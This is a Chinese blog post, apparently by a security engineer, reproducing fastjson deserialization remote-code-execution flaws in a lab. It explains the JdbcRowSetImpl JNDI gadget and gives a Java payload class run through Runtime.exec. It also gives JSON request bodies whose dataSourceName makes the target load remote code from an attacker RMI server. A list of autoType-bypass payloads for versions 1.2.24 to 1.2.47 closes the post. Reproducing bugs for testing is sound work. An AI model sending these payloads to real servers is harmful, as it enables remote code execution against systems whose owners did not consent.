fastjson 判断是否包含_fastjson漏洞复现

文章最后更新时间为：2019年09月29日 19:44:40

公司的web项目全是java写的，作为java菜鸟，迫不得已来看fastjson的漏洞了，但分析是不可能会分析的，只能看看分析文章，复现一下勉强维持生活这样子。

1. 背景

fastjson是Alibaba开发的，java语言编写的高性能JSON库，采用“假定有序快速匹配”的算法，号称Java语言中最快的JSON库。

其项目地址为https://github.com/alibaba/fastjson，其提供两个主要接口toJsonString和parseObject来分别实现序列化和反序列化。示例代码：//序列化

User user = new User("guest",2);

String jsonString = JSON.toJSONString(user)

//反序列化

String jsonString = "{\\"name\\":\\"guest\\",\\"age\\":12}"

User user = (User)JSON.parse(jsonString)

其最近几年爆出的漏洞影响都比较大，下面开始复现工程师的本职工作。

2. 20170315第一次爆出的漏洞

利用原理如下：

因为fastjson在处理以@type形式传入的类的时候，会默认调用该类的共有setgetis函数，因此我们在寻找利用类的时候思路如下：

1、类的成员变量我们可以控制；

2、想办法在调用类的某个setgetis函数的时候造成命令执行。

于是便找到了JdbcRowSetImpl类，该类在setAutoCommit函数中会对成员变量dataSourceName进行lookup，标准的jndi注入利用。(jndi注入是什么可以看下https://paper.seebug.org/417/)

其利用栈如下：Exec:620,Runtime //命令执行

Lookup:417,InitalContext /jndi lookup函数通过rmi或者ldap获取恶意类

setAutoCommit:4067,JdbcRowSetImpl 通过setAutoCommit从而在后面触发了lookup函数

setValue:96,FieldDeserializer //反射调用传入类的set函数

deserialze:600, JavaBeanDeserializer 通过循环调用传入类的共有set,get,is函数

parseObject:368,DefaultJSONParser 解析传入的json字符串

docker启动后，我们向这个地址POST一个JSON对象，看下是否正常

正常启动docker环境后。我们开始本地构造poc。

首先创建一个TouchFile.java：// javac TouchFile.java

import java.lang.Runtime;

import java.lang.Process;

public class TouchFile {

static {

try {

Runtime rt = Runtime.getRuntime();

String[] commands = {"touch", "/tmp/success"};

Process pc = rt.exec(commands);

pc.waitFor();

} catch (Exception e) {

// do nothing

}

}

}

然后编译，启动一个web服务器

这样访问http://10.133.139.130:3333/TouchFile.class就可以访问到class文件。

然后我们借助marshalsec项目，启动一个RMI服务器，监听9999端口，并制定加载远程类TouchFile.class

这样我们在burp里面post如下的包:{

"b":{

"@type":"com.sun.rowset.JdbcRowSetImpl",

"dataSourceName":"rmi://10.133.139.130:9999/TouchFile",

"autoCommit":true

}

}

结果：

成功执行代码。

3. 2019最新rce漏洞

2019年七月份，官方公布了fastjson< 1.2.48 版本存在的rce安全问题，该漏洞已在2018 10月完成修复，但是没有公布，直到有人发了issue，官方才公布出来：https://github.com/alibaba/fastjson/wiki/update_faq_20190722

在第一次漏洞出来之后，官方已经做了修复，后续的漏洞就是补丁的绕过而造成的。

补丁其实就是增加了一个函数checkAutoType，函数对传入的类名进行了长度和黑名单的限制。最新漏洞的原理是利用@type加载dedserializers中的java.lang.class类，里面传参要添加的类，从而调用TypeUtils.loadClass()类来添加com.sun.rowset.jdbcRowSetlmpl类到mapping函数里，最后实现调用@type的值，所以说2019的POC就是比2017的POC多了一个json键值对，就是第一个键值对作用是用来添加要用到的类到mapping缓存函数中，来实现对第二个键值对的使用

(emmm，貌似不太懂，我们还是继续来复现工程师的工作。)

过程和上面基本一致，最终要post的包为：{

"a":{

"@type":"java.lang.Class",

"val":"com.sun.rowset.JdbcRowSetImpl"

},

"b":{

"@type":"com.sun.rowset.JdbcRowSetImpl",

"dataSourceName":"rmi://10.133.139.130:9999/Exploit",

"autoCommit":true

}

}

4. 快速探测是否存在漏洞

对于不同的jdk版本，其JNDI注入方式也不同，但是我们可以快速探测漏洞是否存在，如何利用就是后面的事情了。

我们直接使用nc监听rmi服务端口即可，接收到如下请求说明存在JNDI注入。(也可以使用dnslog快速探查)

以下是一些版本的绕过poc：来源于 https://github.com/shengqi158/fastjson-remote-code-execute-poc

1.2.24

{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true}}

未知版本(1.2.24-41之间)

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

1.2.41

{"@type":"Lcom.sun.rowset.RowSetImpl;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

1.2.42

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true};

1.2.43

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true]}

1.2.45

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}

1.2.47

{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}}

5. 参考